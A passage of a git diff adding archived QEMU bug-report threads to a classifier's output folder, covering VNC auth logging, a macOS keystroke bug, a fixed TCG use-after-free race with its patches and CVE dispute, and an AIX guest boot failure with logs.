brutforce attacks and in combination with weak built-in VNC-auth scheme can be a security vulnerability. + +Adding a simple log record like "QEMU VNC Authentication failed 192.168.0.5:5902 - 123.45.67.89:7898" will permit to quickly integrate it to fail2ban system. + +Note that any use of the built-in VNC-auth scheme is always considered a security flaw. It should essentially never be used, especially not on any public internet facing service, even if fail2ban were able to be used. + +A secure VNC server should use the VeNCrypt extension which enables TLS, with optional client certificate validation as an auth mechanism. Once you have TLS enabled, you can also then enable the SASL auth mechanism to further authenticate clients using Kerberos or PAM, or other SASL plugins. + +That's not to say we shouldn't emit a log message, suitable for consuming from fail2ban, as remote clients can still trigger a CPU denial of service by repeatedly connecting even if they ultimately always fail authentication. + + +On Wed, 8 May 2019 at 14:23, Daniel Berrange <email address hidden> wrote: +> +> Note that any use of the built-in VNC-auth scheme is always considered a +> security flaw. It should essentially never be used, especially not on +> any public internet facing service, even if fail2ban were able to be +> used. + +Should we deprecate-and-remove the feature, then ? + +thanks +-- PMM + + +The challenge is that this is the only auth scheme defined by the VNC protocol, aside from no-auth. +If we removed it, we'd no longer be compatible with the standard VNC protocol. We'd be making use of the TLS/SASL extensions mandatory if users want auth. This could ultimately push people to turn off auth altogether which is even worse. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/170 + + diff --git a/results/classifier/deepseek-1/output/vnc/1871267 b/results/classifier/deepseek-1/output/vnc/1871267 new file mode 100644 index 00000000..60350529 --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1871267 @@ -0,0 +1,35 @@ + +Multiple (Repeating) Keystrokes in macOS + +Hi, + +I am finding this issue with v4.2.0, or the latest master - on a Windows host, with macOS guest. It happens using gtk (SPICE?) or VNC. When I get to a place to enter a keystroke, I quite reliably get multiple of the same key (i.e. press A, get AAAA). + +Thinking there may be a basic setting to address this? I did try it in Linux (kvm), no issue there. + +Thanks! + +BTW, it does make the guest unusable ... can't even enter a password (if I could get that far, having issues even running setup). + +Thanks! + +Issues with time emulation. MacOS runs on qemu with a specific cpu option: -cpu Penryn,vendor=GenuineIntel,+invtsc,vmware-cpuid-freq=on. +The code of cpu_x86_cpuid has no handler for 0x40000010, so vmware-cpuid-freq is ignored. +Another solution is to modify tsc_increment_by_tick value in MSR_IA32_PERF_STATUS returned from helper_rdmsr. Currently it is val = 1000ULL. Try to set it to 2000ULL, and see what happens. + +The solution for hardware emulation is to return real hardware values to the guest. I think for tcg it can be passed from command line, so the user can adjust it's value. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/vulnerabilities./1863025 b/results/classifier/deepseek-1/output/vulnerabilities./1863025 new file mode 100644 index 00000000..0ff2bdf1 --- /dev/null +++ b/results/classifier/deepseek-1/output/vulnerabilities./1863025 @@ -0,0 +1,434 @@ + +Use-after-free after flush in TCG accelerator + +I believe I found a UAF in TCG that can lead to a guest VM escape. The security +list informed me "This can not be treated as a security issue." and to post it +here. I am looking at the 4.2.0 source code. The issue requires a race and I +will try to describe it in terms of three concurrent threads. + +I am looking +at the 4.2.0 source code. The issue requires a race and I will try to describe +it in terms of three concurrent threads. + +Thread A: + +A1. qemu_tcg_cpu_thread_fn runs work loop +A2. qemu_wait_io_event => qemu_wait_io_event_common => process_queued_cpu_work +A3. start_exclusive critical section entered +A4. do_tb_flush is called, TB memory freed/re-allocated +A5. end_exclusive exits critical section + +Thread B: + +B1. qemu_tcg_cpu_thread_fn runs work loop +B2. tcg_cpu_exec => cpu_exec => tb_find => tb_gen_code +B3. tcg_tb_alloc obtains a new TB + +Thread C: + +C1. qemu_tcg_cpu_thread_fn runs work loop +C2. cpu_exec_step_atomic executes +C3. TB obtained with tb_lookup__cpu_state or tb_gen_code +C4. start_exclusive critical section entered +C5. cpu_tb_exec executes the TB code +C6. end_exclusive exits critical section + +Consider the following sequence of events: + B2 => B3 => C3 (same TB as B2) => A3 => A4 (TB freed) => A5 => B2 => + B3 (re-allocates TB from B2) => C4 => C5 (freed/reused TB now executing) => C6 + +In short, because thread C uses the TB in the critical section, there is no +guarantee that the pointer has not been "freed" (rather the memory is marked as +re-usable) and therefore a use-after-free occurs. + +Since the TCG generated code can be in the same memory as the TB data structure, +it is possible for an attacker to overwrite the UAF pointer with code generated +from TCG. This can overwrite key pointer values and could lead to code +execution on the host outside of the TCG sandbox. + +The bug describes a race whereby cpu_exec_step_atomic can acquire a TB +which is invalidated by a tb_flush before we execute it. This doesn't +affect the other cpu_exec modes as a tb_flush by it's nature can only +occur on a quiescent system. The race was described as: + + B2. tcg_cpu_exec => cpu_exec => tb_find => tb_gen_code + B3. tcg_tb_alloc obtains a new TB + + C3. TB obtained with tb_lookup__cpu_state or tb_gen_code + (same TB as B2) + + A3. start_exclusive critical section entered + A4. do_tb_flush is called, TB memory freed/re-allocated + A5. end_exclusive exits critical section + + B2. tcg_cpu_exec => cpu_exec => tb_find => tb_gen_code + B3. tcg_tb_alloc reallocates TB from B2 + + C4. start_exclusive critical section entered + C5. cpu_tb_exec executes the TB code that was free in A4 + +The simplest fix is to widen the exclusive period to include the TB +lookup. As a result we can drop the complication of checking we are in +the exclusive region before we end it. + +Signed-off-by: Alex Bennée <email address hidden> +Cc: Yifan <email address hidden> +Cc: Bug 1863025 <email address hidden> +--- + accel/tcg/cpu-exec.c | 21 +++++++++++---------- + 1 file changed, 11 insertions(+), 10 deletions(-) + +diff --git a/accel/tcg/cpu-exec.c b/accel/tcg/cpu-exec.c +index 2560c90eec7..d95c4848a47 100644 +--- a/accel/tcg/cpu-exec.c ++++ b/accel/tcg/cpu-exec.c +@@ -240,6 +240,8 @@ void cpu_exec_step_atomic(CPUState *cpu) + uint32_t cf_mask = cflags & CF_HASH_MASK; + + if (sigsetjmp(cpu->jmp_env, 0) == 0) { ++ start_exclusive(); ++ + tb = tb_lookup__cpu_state(cpu, &pc, &cs_base, &flags, cf_mask); + if (tb == NULL) { + mmap_lock(); +@@ -247,8 +249,6 @@ void cpu_exec_step_atomic(CPUState *cpu) + mmap_unlock(); + } + +- start_exclusive(); +- + /* Since we got here, we know that parallel_cpus must be true. */ + parallel_cpus = false; + cc->cpu_exec_enter(cpu); +@@ -271,14 +271,15 @@ void cpu_exec_step_atomic(CPUState *cpu) + qemu_plugin_disable_mem_helpers(cpu); + } + +- if (cpu_in_exclusive_context(cpu)) { +- /* We might longjump out of either the codegen or the +- * execution, so must make sure we only end the exclusive +- * region if we started it. +- */ +- parallel_cpus = true; +- end_exclusive(); +- } ++ ++ /* ++ * As we start the exclusive region before codegen we must still ++ * be in the region if we longjump out of either the codegen or ++ * the execution. ++ */ ++ g_assert(cpu_in_exclusive_context(cpu)); ++ parallel_cpus = true; ++ end_exclusive(); + } + + struct tb_desc { +-- +2.20.1 + + + +I've attached a variant of the suggested patch which simply expands the exclusive period. It's hard to test extensively as not many things use the EXCP_ATOMIC mechanism. Can I ask how you found the bug and if you can re-test with the suggested patch? + +I found it just by launching Ubuntu 19.10 live cd with QXL driver. I will re-test this weekend. + +The workaround I had is to check the number of TLB flushes and to re-try obtaining the TB if the number changes. There is a penalty for the case where TLB is flushed but should not degrade performance in most cases. I think obtaining the lock earlier will slow down the VM if EXCP_ATOMIC is used often. + +Of course, I am assuming TLB flush is the only way to cause this bug. + +diff --git a/accel/tcg/cpu-exec.c b/accel/tcg/cpu-exec.c +index d1c2b6ea1fd..d83b578299b 100644 +--- a/accel/tcg/cpu-exec.c ++++ b/accel/tcg/cpu-exec.c +@@ -250,8 +250,11 @@ void cpu_exec_step_atomic(CPUState *cpu) + uint32_t flags; + uint32_t cflags = 1; + uint32_t cf_mask = cflags & CF_HASH_MASK; ++ unsigned flush_count; + + if (sigsetjmp(cpu->jmp_env, 0) == 0) { ++retry: ++ flush_count = tb_flush_count(); + tb = tb_lookup__cpu_state(cpu, &pc, &cs_base, &flags, cf_mask); + if (tb == NULL) { + mmap_lock(); +@@ -260,6 +263,11 @@ void cpu_exec_step_atomic(CPUState *cpu) + } + + start_exclusive(); ++ /* do_tb_flush() might run and make tb invalid */ ++ if (flush_count != tb_flush_count()) { ++ end_exclusive(); ++ goto retry; ++ } + + /* Since we got here, we know that parallel_cpus must be true. */ + parallel_cpus = false; +diff --git a/accel/tcg/translate-all.c b/accel/tcg/translate-all.c +index 4ed9d0abaf2..ecf7d3b53ff 100644 +--- a/accel/tcg/translate-all.c ++++ b/accel/tcg/translate-all.c +@@ -2696,6 +2696,11 @@ void tcg_flush_softmmu_tlb(CPUState *cs) + #endif + } + ++unsigned tb_flush_count(void) ++{ ++ return atomic_read(&tb_ctx.tb_flush_count); ++} ++ + #if defined(CONFIG_NO_RWX) + void tb_exec_memory_lock(void) + { +diff --git a/include/exec/exec-all.h b/include/exec/exec-all.h +index 5ccc9485812..1bc61fa6d76 100644 +--- a/include/exec/exec-all.h ++++ b/include/exec/exec-all.h +@@ -584,6 +584,7 @@ void tlb_set_dirty(CPUState *cpu, target_ulong vaddr); + void tb_flush_jmp_cache(CPUState *cpu, target_ulong addr); + + /* translate-all.c */ ++unsigned tb_flush_count(void); + #if defined(CONFIG_NO_RWX) + void tb_exec_memory_lock(void); + bool tb_is_exec(const TranslationBlock *tb); + +Apologies, the patch got messed up. + +diff --git a/accel/tcg/cpu-exec.c b/accel/tcg/cpu-exec.c +index c01f59c743..7a9e8c94bd 100644 +--- a/accel/tcg/cpu-exec.c ++++ b/accel/tcg/cpu-exec.c +@@ -238,8 +238,11 @@ void cpu_exec_step_atomic(CPUState *cpu) + uint32_t flags; + uint32_t cflags = 1; + uint32_t cf_mask = cflags & CF_HASH_MASK; ++ unsigned flush_count; + + if (sigsetjmp(cpu->jmp_env, 0) == 0) { ++retry: ++ flush_count = tb_flush_count(); + tb = tb_lookup__cpu_state(cpu, &pc, &cs_base, &flags, cf_mask); + if (tb == NULL) { + mmap_lock(); +@@ -248,6 +251,11 @@ void cpu_exec_step_atomic(CPUState *cpu) + } + + start_exclusive(); ++ /* do_tb_flush() might run and make tb invalid */ ++ if (flush_count != tb_flush_count()) { ++ end_exclusive(); ++ goto retry; ++ } + + /* Since we got here, we know that parallel_cpus must be true. */ + parallel_cpus = false; +diff --git a/accel/tcg/translate-all.c b/accel/tcg/translate-all.c +index 9f48da9472..2fb7da9b51 100644 +--- a/accel/tcg/translate-all.c ++++ b/accel/tcg/translate-all.c +@@ -2674,3 +2674,8 @@ void tcg_flush_softmmu_tlb(CPUState *cs) + tlb_flush(cs); + #endif + } ++ ++unsigned tb_flush_count(void) ++{ ++ return atomic_read(&tb_ctx.tb_flush_count); ++} +diff --git a/include/exec/exec-all.h b/include/exec/exec-all.h +index d85e610e85..aa3c2d219a 100644 +--- a/include/exec/exec-all.h ++++ b/include/exec/exec-all.h +@@ -579,6 +579,9 @@ void tlb_set_dirty(CPUState *cpu, target_ulong vaddr); + /* exec.c */ + void tb_flush_jmp_cache(CPUState *cpu, target_ulong addr); + ++/* translate-all.c */ ++unsigned tb_flush_count(void); ++ + MemoryRegionSection * + address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr, + hwaddr *xlat, hwaddr *plen, + +What race are you thinking of in my patch? The obvious race I can +think of is benign: + +Case 1: +A: does TB flush +B: read tb_flush_count +A: increment tb_flush_count +A: end_exclusive +B: tb_lookup__cpu_state/tb_gen_code +B: start_exclusive +B: read tb_flush_count again (increment seen) +B: retries + +Case 2: +B: read tb_flush_count +A: does TB flush +A: increment tb_flush_count +A: end_exclusive +B: tb_lookup__cpu_state/tb_gen_code +B: start_exclusive +B: read tb_flush_count again (increment seen) +B: retries + +Case 3: +A: does TB flush +A: increment tb_flush_count +A: end_exclusive +B: read tb_flush_count +B: tb_lookup__cpu_state/tb_gen_code +B: start_exclusive +B: read tb_flush_count again (no increment seen) +B: proceeds + +Case 1 is the expected case. Case 2, we thought TB was stale but it +wasn't so we get it again with tb_lookup__cpu_state with minimal extra +overhead. + +Case 3 seems to be bad because we could read tb_flush_count and find +it already incremented. But if so that means thread A is at the end of +do_tb_flush and the lookup tables are already cleared and the TCG +context is already reset. So it should be safe for thread B to call +tb_lookup__cpu_state or tb_gen_code. + +Yifan + +On Fri, Feb 14, 2020 at 3:31 PM Richard Henderson +<email address hidden> wrote: +> +> On 2/14/20 6:49 AM, Alex Bennée wrote: +> > The bug describes a race whereby cpu_exec_step_atomic can acquire a TB +> > which is invalidated by a tb_flush before we execute it. This doesn't +> > affect the other cpu_exec modes as a tb_flush by it's nature can only +> > occur on a quiescent system. The race was described as: +> > +> > B2. tcg_cpu_exec => cpu_exec => tb_find => tb_gen_code +> > B3. tcg_tb_alloc obtains a new TB +> > +> > C3. TB obtained with tb_lookup__cpu_state or tb_gen_code +> > (same TB as B2) +> > +> > A3. start_exclusive critical section entered +> > A4. do_tb_flush is called, TB memory freed/re-allocated +> > A5. end_exclusive exits critical section +> > +> > B2. tcg_cpu_exec => cpu_exec => tb_find => tb_gen_code +> > B3. tcg_tb_alloc reallocates TB from B2 +> > +> > C4. start_exclusive critical section entered +> > C5. cpu_tb_exec executes the TB code that was free in A4 +> > +> > The simplest fix is to widen the exclusive period to include the TB +> > lookup. As a result we can drop the complication of checking we are in +> > the exclusive region before we end it. +> +> I'm not 100% keen on having the tb_gen_code within the exclusive region. It +> implies a much larger delay on (at least) the first execution of the atomic +> operation. +> +> But I suppose until recently we had a global lock around code generation, and +> this is only slightly worse. Plus, it has the advantage of being dead simple, +> and without the races vs tb_ctx.tb_flush_count that exist in Yifan's patch. +> +> Applied to tcg-next. +> +> +> r~ + + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=886cc68943eb + +CVE-2020-24165 was assigned to this: +https://nvd.nist.gov/vuln/detail/CVE-2020-24165 + +I had no involvement in the assignment, posting here for reference only. + +On Thu, Aug 31, 2023 at 03:40:25PM +0200, Philippe Mathieu-Daudé wrote: +> Hi Samuel, +> +> On 31/8/23 14:48, Samuel Henrique wrote: +> > CVE-2020-24165 was assigned to this: +> > https://nvd.nist.gov/vuln/detail/CVE-2020-24165 +> > +> > I had no involvement in the assignment, posting here for reference only. +> > +> > ** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-24165 +> +> QEMU 4.2.0 was released in 2019. The issue you report +> has been fixed in commit 886cc68943 ("accel/tcg: fix race +> in cpu_exec_step_atomic (bug 1863025)") which is included +> in QEMU v5.0, released in April 2020, more than 3 years ago. +> +> What do you expect us to do here? I'm not sure whether assigning +> CVE for 3 years old code is a good use of engineering time. + +In any case per our stated security policy, we do not consider TCG to +be providing a security boundary between host and guest, and thus bugs +in TCG aren't considered security flaws: + + https://www.qemu.org/docs/master/system/security.html#non-virtualization-use-case + +With regards, +Daniel +-- +|: https://berrange.com -o- https://www.flickr.com/photos/dberrange :| +|: https://libvirt.org -o- https://fstop138.berrange.com :| +|: https://entangle-photo.org -o- https://www.instagram.com/dberrange :| + + +On Thu, Aug 31, 2023 at 3:57 PM Daniel P. Berrangé <email address hidden> wrote: +> +> On Thu, Aug 31, 2023 at 03:40:25PM +0200, Philippe Mathieu-Daudé wrote: +> > Hi Samuel, +> > +> > On 31/8/23 14:48, Samuel Henrique wrote: +> > > CVE-2020-24165 was assigned to this: +> > > https://nvd.nist.gov/vuln/detail/CVE-2020-24165 +> > > +> > > I had no involvement in the assignment, posting here for reference only. +> > > +> > > ** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-24165 +> > +> > QEMU 4.2.0 was released in 2019. The issue you report +> > has been fixed in commit 886cc68943 ("accel/tcg: fix race +> > in cpu_exec_step_atomic (bug 1863025)") which is included +> > in QEMU v5.0, released in April 2020, more than 3 years ago. +> > +> > What do you expect us to do here? I'm not sure whether assigning +> > CVE for 3 years old code is a good use of engineering time. +> +> In any case per our stated security policy, we do not consider TCG to +> be providing a security boundary between host and guest, and thus bugs +> in TCG aren't considered security flaws: +> +> https://www.qemu.org/docs/master/system/security.html#non-virtualization-use-case + +Right, and it is clearly indicated in the referenced launchpad bug: +'The security list informed me "This can not be treated as a security +issue"'. + +This adds up to CVE-2022-36648, which is also a mystery to me in terms +of CVE assignment and CVSS scoring (rated as Critical). I don't know +what's going on with NVD, there must be something wrong on their side. + +I disputed both CVEs via https://cveform.mitre.org/. + +> With regards, +> Daniel +> -- +> |: https://berrange.com -o- https://www.flickr.com/photos/dberrange :| +> |: https://libvirt.org -o- https://fstop138.berrange.com :| +> |: https://entangle-photo.org -o- https://www.instagram.com/dberrange :| +> + +-- +Mauro Matteo Cascella +Red Hat Product Security +PGP-Key ID: BB3410B0 + + diff --git a/results/classifier/deepseek-1/output/workarounds./1846816 b/results/classifier/deepseek-1/output/workarounds./1846816 new file mode 100644 index 00000000..a2e1d941 --- /dev/null +++ b/results/classifier/deepseek-1/output/workarounds./1846816 @@ -0,0 +1,487 @@ + +Booting error on AIX 6.1 "Illegal Trap Instruction Interrupt in Kernel"" + +# ls -ltr +total 8750584 +-rw-rw-r-- 1 linux linux 4274997248 Oct 4 18:33 AIX.vol1.iso +-rw-rw-r-- 1 linux linux 4293888000 Oct 4 18:45 AIX.vol2.iso +-rw-rw-r-- 1 linux linux 391485440 Oct 4 18:50 AIX.vol3.iso +-rw-r--r-- 1 root root 204608 Oct 4 19:00 AIX61.img + +# qemu-system-ppc64 -cpu POWER8,compat=power7 -machine pseries -m 8192 -serial mon:stdio \ +> -drive file=/qemu/BST/AIX61.img,if=none,id=drive-virtio-disk0 \ +> -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 \ +> -cdrom /qemu/BST/AIX.vol1.iso \ +> -prom-env boot-command='boot cdrom: -s verbose' + + +VNC server running on ::1:5900 +qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-ibs=workaround + + +SLOF ********************************************************************** +QEMU Starting + Build Date = Jul 3 2019 12:26:14 + FW Version = git-ba1ab360eebe6338 + Press "s" to enter Open Firmware. + +Populating /vdevice methods +Populating /vdevice/vty@71000000 +Populating /vdevice/nvram@71000001 +Populating /vdevice/l-lan@71000002 +Populating /vdevice/v-scsi@71000003 + SCSI: Looking for devices + 8200000000000000 CD-ROM : "QEMU QEMU CD-ROM 2.5+" +Populating /pci@800000020000000 + 00 0000 (D) : 1234 1111 qemu vga + 00 0800 (D) : 1033 0194 serial bus [ usb-xhci ] + 00 1000 (D) : 1af4 1004 virtio [ scsi ] +Populating /pci@800000020000000/scsi@2 + SCSI: Looking for devices + 100000000000000 DISK : "QEMU QEMU HARDDISK 2.5+" +Installing QEMU fb + + + +Scanning USB + XHCI: Initializing + USB Keyboard + USB mouse +No console specified using screen & keyboard + + Welcome to Open Firmware + + Copyright (c) 2004, 2017 IBM Corporation All rights reserved. + This program and the accompanying materials are made available + under the terms of the BSD License available at + http://www.opensource.org/licenses/bsd-license.php + + +Trying to load: -s verbose from: /vdevice/v-scsi@71000003/disk@8200000000000000: ... Successfully loaded +qemu-system-ppc64: Couldn't negotiate a suitable PVR during CAS +AIX +StarLED{814} + +AIX Version 6.1 +exec(/etc/init){1,0} + +INIT: EXECUTING /sbin/rc.boot 1 +exec(/usr/bin/sh,-c,/sbin/rc.boot 1){1114146,1} +exec(/sbin/rc.boot,/sbin/rc.boot,1){1114146,1} ++ PHASE=1 ++ + bootinfo -p +exec(/usr/sbin/bootinfo,-p){1179684,1114146} +PLATFORM=chrp ++ [ ! -x /usr/lib/boot/bin/bootinfo_chrp ] ++ [ 1 -eq 1 ] ++ 1> /usr/lib/libc.a ++ init -c unlink /usr/lib/boot/bin/!(*_chrp) +exec(/etc/init,-c,unlink /usr/lib/boot/bin/!(*_chrp)){1179686,1114146} ++ chramfs -t +exec(/usr/sbin/chramfs,-t){1179688,1114146} ++ init -c unlink /usr/sbin/chramfs ++ 1> /dev/null +exec(/etc/init,-c,unlink /usr/sbin/chramfs){1179690,1114146} ++ + bootinfo -t +exec(/usr/sbin/bootinfo,-t){1179692,1114146} +BOOTYPE=3 ++ [ 0 -ne 0 ] ++ [ -z 3 ] ++ unset pdev_to_ldev undolt native_netboot_cfg ++ unset disknet_odm_init config_ATM ++ /usr/lib/methods/showled 0x510 DEV CFG 1 START +exec(/usr/lib/methods/showled,0x510,DEV CFG 1 START){1179694,1114146} ++ cfgmgr -f -v +exec(/usr/sbin/cfgmgr,-f,-v){1179696,1114146} +cfgmgr is running in phase 1 +---------------- +Time: 0 LEDS: 0x538 +Invoking top level program -- "/etc/methods/defsys" +exec(/bin/sh,-c,/etc/methods/defsys ){1245222,1179696} +exec(/etc/methods/defsys){1245222,1179696} +exec(/bin/sh,-c,/usr/lib/methods/define_rspc -n -c sys -s node -t chrp){1310760,1245222} +exec(/usr/lib/methods/define_rspc,-n,-c,sys,-s,node,-t,chrp){1310760,1245222} +Time: 0 LEDS: 0x539 +Return code = 0 +***** stdout ***** +sys0 + +*** no stderr **** +---------------- +Attempting to configure device 'sys0' +Time: 0 LEDS: 0x811 +Invoking /usr/lib/methods/cfgsys_chrp -1 -l sys0 +exec(/bin/sh,-c,/usr/lib/methods/cfgsys_chrp -1 -l sys0){1245224,1179696} +Number of running methods: 1 +exec(/usr/lib/methods/cfgsys_chrp,-1,-l,sys0){1245224,1179696} +LED{A20} +Illegal Trap Instruction Interrupt in Kernel +04151A74 tweqi r0,0 r0=0 +KDB(0)> + +Did this used to work for you in older versions of QEMU, or is it a new bug (i.e. a regression)? AFAIK running AIX in QEMU has never worked so far... + +I only tried this with the last version of QEMU using an AIX image generated from a running AIX server using mksysb. + +There are some limitations but an AIX guest can run in QEMU: + +https://www.ibm.com/support/knowledgecenter/ssw_aix_72/aixnutanix/nutanix_concepts.html + +The command line in the bug description uses an old syntax: + +# qemu-system-ppc64 -cpu POWER8,compat=power7 -machine pseries ... + +This should be: + +# qemu-system-ppc64 -cpu POWER8 -machine pseries,max-cpu-compat=power7 + +The following error message seems to indicate that this AIX instance doesn't support POWER7 architected mode (which I don't think is actively tested and supported by the way). + + qemu-system-ppc64: Couldn't negotiate a suitable PVR during CAS + +Maybe try again with max-cpu-compat=power8 instead ? + + +If you want to debug this, it'd be helpful to know few instructions/registers before the TRAP: + + Illegal Trap Instruction Interrupt in Kernel + 04151A74 tweqi r0,0 r0=0 + KDB(0)> + +A quicker way might be running QEMU with '-d unimp' to display missing devices/SPAPR hcalls. + +# qemu-system-ppc64 -cpu POWER8 -machine pseries,max-cpu-compat=power7 -m 8G -d unimp -serial stdio \ +-prom-env boot-command='boot cdrom: -s verbose'> -drive file=/qemu/AIX61.img,if=none,id=drive-virtio-disk0 \ +> -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 \ +> -cdrom /qemu/AIX.vol1.iso \ +> -prom-env boot-command='boot cdrom: -s verbose' +VNC server running on ::1:5900 +qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-ibs=workaround + + +SLOF ********************************************************************** +QEMU Starting + Build Date = Jul 3 2019 12:26:14 + FW Version = git-ba1ab360eebe6338 + Press "s" to enter Open Firmware. + +Populating /vdevice methods +Populating /vdevice/vty@71000000 +Populating /vdevice/nvram@71000001 +Populating /vdevice/l-lan@71000002 +Populating /vdevice/v-scsi@71000003 + SCSI: Looking for devices + 8200000000000000 CD-ROM : "QEMU QEMU CD-ROM 2.5+" +Populating /pci@800000020000000 + 00 0000 (D) : 1234 1111 qemu vga + 00 0800 (D) : 1033 0194 serial bus [ usb-xhci ] + 00 1000 (D) : 1af4 1004 virtio [ scsi ] +Populating /pci@800000020000000/scsi@2 + SCSI: Looking for devices + 100000000000000 DISK : "QEMU QEMU HARDDISK 2.5+" +Installing QEMU fb + + + +Scanning USB + XHCI: Initializing + USB Keyboard + USB mouse +No console specified using screen & keyboard + + Welcome to Open Firmware + + Copyright (c) 2004, 2017 IBM Corporation All rights reserved. + This program and the accompanying materials are made available + under the terms of the BSD License available at + http://www.opensource.org/licenses/bsd-license.php + + +Trying to load: -s verbose from: /vdevice/v-scsi@71000003/disk@8200000000000000: ... Successfully loaded +qemu-system-ppc64: Couldn't negotiate a suitable PVR during CAS +AIX Unimplemented SPAPR hcall 0x00000000000000ec +StarUnimplemented SPAPR hcall 0x00000000000000ec +LED{814} + +AIX Version 6.1 +exec(/etc/init){1,0} + +INIT: EXECUTING /sbin/rc.boot 1 +exec(/usr/bin/sh,-c,/sbin/rc.boot 1){1114146,1} +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/sbin/rc.boot,/sbin/rc.boot,1){1114146,1} +Unimplemented SPAPR hcall 0x00000000000002b8 ++ PHASE=1 ++ + bootinfo -p +exec(/usr/sbin/bootinfo,-p){1179684,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 +PLATFORM=chrp ++ [ ! -x /usr/lib/boot/bin/bootinfo_chrp ] ++ [ 1 -eq 1 ] ++ 1> /usr/lib/libc.a ++ init -c unlink /usr/lib/boot/bin/!(*_chrp) +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/etc/init,-c,unlink /usr/lib/boot/bin/!(*_chrp)){1179686,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 ++ chramfs -t +exec(/usr/sbin/chramfs,-t){1179688,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 ++ init -c unlink /usr/sbin/chramfs ++ 1> /dev/null +exec(/etc/init,-c,unlink /usr/sbin/chramfs){1179690,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 ++ + bootinfo -t +exec(/usr/sbin/bootinfo,-t){1179692,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 +BOOTYPE=3 ++ [ 0 -ne 0 ] ++ [ -z 3 ] ++ unset pdev_to_ldev undolt native_netboot_cfg ++ unset disknet_odm_init config_ATM ++ /usr/lib/methods/showled 0x510 DEV CFG 1 START +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/usr/lib/methods/showled,0x510,DEV CFG 1 START){1179694,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 ++ cfgmgr -f -v +exec(/usr/sbin/cfgmgr,-f,-v){1179696,1114146} +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +cfgmgr is running in phase 1 +---------------- +Time: 0 LEDS: 0x538 +Invoking top level program -- "/etc/methods/defsys" +exec(/bin/sh,-c,/etc/methods/defsys ){1245222,1179696} +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/etc/methods/defsys){1245222,1179696} +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/bin/sh,-c,/usr/lib/methods/define_rspc -n -c sys -s node -t chrp){1310760,1245222} +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/usr/lib/methods/define_rspc,-n,-c,sys,-s,node,-t,chrp){1310760,1245222} +Unimplemented SPAPR hcall 0x00000000000002b8 +Time: 0 LEDS: 0x539 +Return code = 0 +***** stdout ***** +sys0 + +*** no stderr **** +Unimplemented SPAPR hcall 0x00000000000002b8 +---------------- +Attempting to configure device 'sys0' +Time: 0 LEDS: 0x811 +Invoking /usr/lib/methods/cfgsys_chrp -1 -l sys0 +exec(/bin/sh,-c,/usr/lib/methods/cfgsys_chrp -1 -l sys0){1245224,1179696} +Number of running methods: 1 +Unimplemented SPAPR hcall 0x00000000000002b8 +exec(/usr/lib/methods/cfgsys_chrp,-1,-l,sys0){1245224,1179696} +Unimplemented SPAPR hcall 0x00000000000002b8 +LED{A20} +Illegal Trap Instruction Interrupt in Kernel +04151A74 tweqi r0,0 r0=0 +KDB(0)> +KDB(0)> stack +pvthread+002100 STACK: +[04151A74]init_extint_chrp+0001B4 (0000000000000000 [??]) +[0415030C]config_pal+00004C (??) +[04152D9C]config_chrp_pal@AF31_1+00009C (??, ??) +[00665BBC]config_kmod+0000DC (??, ??, ??) +[00666650]sysconfig+0001F0 (??, ??, ??) +[00003850]ovlya_addr_sc_flih_main+000130 () +[10004D48]cfgpal_chrp+0004A8 (??) +[100045AC]configure_device+00004C () +[100011B4]make_dvc_available+000034 () +[10000568]main+000248 (??, ??, ??) +[10000168]__start+000068 () + +KDB(0)> + + +The "tweqi r0,0 r0=0" is likely an assert() in the AIX code IIRC. Not sure it helps to see +previous instructions. + +About "Unimplemented SPAPR hcall 0x00000000000002b8": + +arch/powerpc/include/asm/hvcall.h:#define H_GET_EM_PARMS 0x2B8 + +and indeed QEMU doesn't implement this hcall. + +I've just realized this is AIX 6.1, which is so old that I'm pretty sure it doesn't run under QEMU. +And anyway, you need AIX 7.2 to have support for virtio devices. + + +I saw comments about support for virtio devices on AIX 7.2, was it not available on AIX 7.1? +With AIX 7.1 also, I am getting similar issue as faced by other users with AIX 6.1. + + + +qemu-system-ppc64 -cpu POWER8 -machine pseries -m 2048 -d unimp -serial stdio -drive file=disk.img,if=none,id=drive-virtio-disk0 -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 -cdrom AIX_7.1.iso -prom-env "boot-command=boot cdrom:" +qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-cfpc=workaround 